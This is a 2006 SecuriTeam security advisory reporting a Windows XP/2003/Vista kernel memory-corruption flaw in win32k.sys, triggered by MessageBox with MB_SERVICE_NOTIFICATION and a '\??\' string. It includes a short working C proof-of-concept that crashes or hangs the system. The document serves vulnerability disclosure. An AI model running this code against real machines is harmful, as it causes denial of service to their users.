[NT] Memory Corruption on MessageBox with MB_SERVICE_NOTIFICATION and Question Marks
- From: SecuriTeam <support@xxxxxxxxxxxxxx>
- Date: 21 Dec 2006 21:49:30 +0200
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
Memory Corruption on MessageBox with MB_SERVICE_NOTIFICATION and Question
Marks
------------------------------------------------------------------------
SUMMARY
A problem in the way Windows XP/2003/Vista handles MB_SERVICE_NOTIFICATION
messageboxes allows local attackers to cause the operating system to hang.
DETAILS
A message was published by NULL about vulnerability in Windows on
processing MessageBox() with MB_SERVICE_NOTIFICATION flag and
message/caption beginning with \??\. Vulnerability seems to be memory
corruption in kernel and causes system crash or hang after few attempts.
It seems to happen because message is logged to event log and may point to
some problem with event logs processing.
The problem is in win32k.sys' function GetHardErrorText, which tries to
prepare EXCEPTION data for event log, and seems to be some very old
debugging feature accidently left in production code since Windows 2000.
In Windows 2000 there is a peace of code like:
} else if ((asLocal.Length > 4) && !_strnicmp(asLocal.Buffer, "\\??\\",
4)) { strcpy( asLocal.Buffer, asLocal.Buffer+4 );
Exploit:
#include <windows.h>
int main(void){
int i;
char bug1 [] ="\\??\\XXXX";
for(i = 0; i < 10; i ++)
{
MessageBox(0, bug1, bug1, MB_SERVICE_NOTIFICATION);
}
}
ADDITIONAL INFORMATION
The information has been provided by <mailto:3APA3A@xxxxxxxxxxxxxxxx>
3APA3A.
The original article can be found at:
<http://bugtraq.ru/cgi-bin/forum.mcgi?type=sb&b=21&m=140672>
http://bugtraq.ru/cgi-bin/forum.mcgi?type=sb&b=21&m=140672
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@xxxxxxxxxxxxxx
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxx
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
- Prev by Date: [NEWS] Oracle Portal 10g HTTP Response Splitting
- Next by Date: [NEWS] Novell Netmail IMAP append DoS
- Previous by thread: [NEWS] Oracle Portal 10g HTTP Response Splitting
- Next by thread: [NEWS] Novell Netmail IMAP append DoS
- Index(es):
Relevant Pages
- [NT] Windows Embedded Open Type (EOT) Font Heap Overflow
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... A vulnerability in the way that
Windows uncompresses Embedded Open Type ... fonts allow the author of a malicious
web page to execute arbitrary code ... A heap overflow vulnerability exists in T2EMBED.DLL,
... (Securiteam) - [NT] Windows VDM #UD Local Privilege Escalation
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... vulnerability to fully compromise
a Windows NT 4.0, Windows 2000, Windows ... 32-bit VDM "host" code, and the invalid
opcode fault handler within the ... process).The kernel does not validate the address to which
execution is ... (Securiteam) - [NT] Windows Workstation Service Remote Buffer Overflow (Exploit)
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... The Windows Workstation
Creates and maintains client network connections ... the log file. ... The string
arguments for this logging function are supplied as ... (Securiteam) - [REVS] Removing about:blank Homepage Hijacker
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... expanded with almost a dozen other
checks against hijacker tricks. ... To Remove "About:Blank" Hijacker Adware In Windows
XP Home edition Service ... The "value" window reveals the hidden file name. ...
(Securiteam) - [NT] Microsoft Explorer and Internet Explorer Long Share Name Buffer Overflow
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... MS Explorer and MS Internet
Explorerare core ... pieces of Microsoft Windows Operating Systems. ... Rodrigo
Gutierrez notified the vendor in the beginning of 2002, ... (Securiteam)